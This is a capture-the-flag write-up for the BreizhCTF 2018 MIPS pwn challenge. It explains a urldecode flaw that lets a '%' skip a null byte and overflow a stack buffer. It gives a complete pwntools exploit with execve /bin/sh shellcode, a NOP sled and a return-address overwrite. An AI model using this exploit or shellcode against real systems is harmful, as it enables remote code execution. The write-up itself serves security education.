BreizhCTF 2018: MIPS
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
BreizhCTF 2018 | MIPS | Pwn | 400 | 3 - 4 |
Sources: Easy MIPS by ChaignC on GitHub
TL;DR
This writeup is about binary exploitation challenge named MIPS @BreizhCTF2018. As its name suggests, the challenge is a MIPS vulnerable program. It decodes URL which is given by the user. There is a bug in urldecode function which leads us to a buffer overflow vulnerability.
Setup the environment
To prepare quickly a MIPS environment, you can use arm_now (https://github.com/nongiach/arm_now.git)
--sync
option allows to import files in work directory into your environement
$ arm_now start mips32el --sync
[...]
Welcome to arm_now
buildroot login: root
./install_pkg_manager.sh
opkg install strace
Vulnerability
The program processes client HTTP request, it reads up to 1023 bytes from stdin
. The buffer is 1024 bytes long, there is no vulnerability here.
void baby_http() {
char request[1024];
while (42) {
int size = read(0, request, 1023);
request[size] = 0;
handle_client(request);
}
}
If the HTTP request is a GET
, the binary will extract the URL into buffer (named url
) using urldecode
function.
void handle_client(char request[]) {
char url[32];
if (!strncmp(request, "GET ", 4)) {
if (strlen(request + 4) < sizeof(url)) {
urldecode(url, request + 4);
printf(not_found, url);
fflush(stdout);
}
}
}
The following piece of code is the urldecode
function.
It copies a source string into a destination buffer and decodes URL encoded characters like %0A
and %0B
.
void urldecode(char *dst, const char *src)
{
char a, b;
while (*src) {
if (*src == '%') {
a = src[1];
b = src[2];
if (isxdigit(a) && isxdigit(b)) {
if (a >= 'a')
a -= 'a'-'A';
if (a >= 'A')
a -= ('A' - 10);
else
a -= '0';
if (b >= 'a')
b -= 'a'-'A';
if (b >= 'A')
b -= ('A' - 10);
else
b -= '0';
*dst++ = 16*a+b;
}
src+=3;
} else if (*src == '+') {
*dst++ = ' ';
src++;
} else {
*dst++ = *src++;
}
}
*dst++ = '\0';
}
urldecode
copies char by char the string into the destination buffer until it meets a null byte (like a strcpy ;)).
while (*src) {
[...]
*dst++=*src++;
[...]
This is the first vulnerability but it can’t be exploited directly because the length of URL is checked before calling urldecode
.
if (strlen(request + 4) < sizeof(url))
There is a second bug: urldecode
increments src pointer even if characters after '%'
are not hexadecimal digits.
if (*src == '%') {
a = src[1];
b = src[2];
if (isxdigit(a) && isxdigit(b)) {
[...]
}
src+=3;
Exploitation
So you can put a %
to jump over a null byte (which indicates the end of a string) to bypass the URL length verification.
The urldecode
function will continue to copy characters until it reaches another null byte.
In MIPS architecture when you call a function (as following), the return address is stored in $ra
register.
jal handle_client
As you can see in the assembly code, return address ($ra
) and frame pointer ($fp
) are saved into stack.
If you are not particularly familiar with MIPS assembly (like me ;)) you can see the details of instructions at http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html.
jal
(jump and link)sw
(store a word)addiu
(add unsigned integer)
handle_client:
addiu $sp, -0x40
sw $ra, 0x3C($sp)
sw $fp, 0x38($sp)
move $fp, $sp
The buffer is 32 bytes length.
[...]
addiu $v0, $fp, 0x18
move $a0, $v0
jal urldecode
Which give us the following stack schema (at instruction jal urldecode
):
So we need to put 32 + 4 bytes into URL buffer to control $ra
. Let’s check if the binary has an executable stack:
$ checksec vuln
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
You can execute something in stack, but the URL buffer is very small. The request buffer is 1024 bytes long and isn’t cleared after each request. You can use it to insert a NOP sled following by a shellcode.
The exploit is divided in two step:
- insert NOP and shellcode into request buffer
- trigger the vulnerability
Step 1
In MIPS architecture NOP can be represented as the following instruction:
nor t6,t6,zero => "\x27\x70\xc0\x01"
You can easily find “preassembled” shellcode for mips: http://shell-storm.org/shellcode/files/shellcode-80.php
Let’s script exploit with pwntools:
from pwn import *
# MIPS Shellcode execve /bin/sh http://shell-storm.org/shellcode/files/shellcode-80.php
shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00"
p = remote("breizhctf.serveur.io",4242)
print(p.recvuntil("@chaign_c"))
# step 1 put NOP + shellcode into request buffer
payload1 = "GET "+"\x27\x70\xc0\x01"*100+shellcode
p.send(payload1+'\n')
The beginning of NOP sled will be overwritten by the second payload but there is enough space to have a reliable exploit.
Step 2
You can approximate the remote address of the request buffer by running strace in your environment (ASLR is off on target machine):
strace -e raw=read ./vuln
[...]
write(1, "BabyHttp brought to you by @chai"..., 37BabyHttp brought to you by @chaign_c
) = 37
read(0, 0x7fffe974, 0x3ff
urldecode
will skip 3 bytes because of %
character and it will start copy at src+3
.
So we need to put "GET "
following by 35 bytes into the request buffer to trigger the vulnerability in handle_client
.
It will overwrite a small part of the NOP sled into the request buffer.
Build and send the second payload with python:
addr = 0x7fffe974
# step 2 trigger overflow
payload2 = "GET %\x00"+"A"*(32+5)+p32(addr)
p.send(payload2+'\n')
p.interactive()
Just run it and you will get a shell.
Thank to @chaign_c for his useful tool arm_now and his help!
TomTomBinary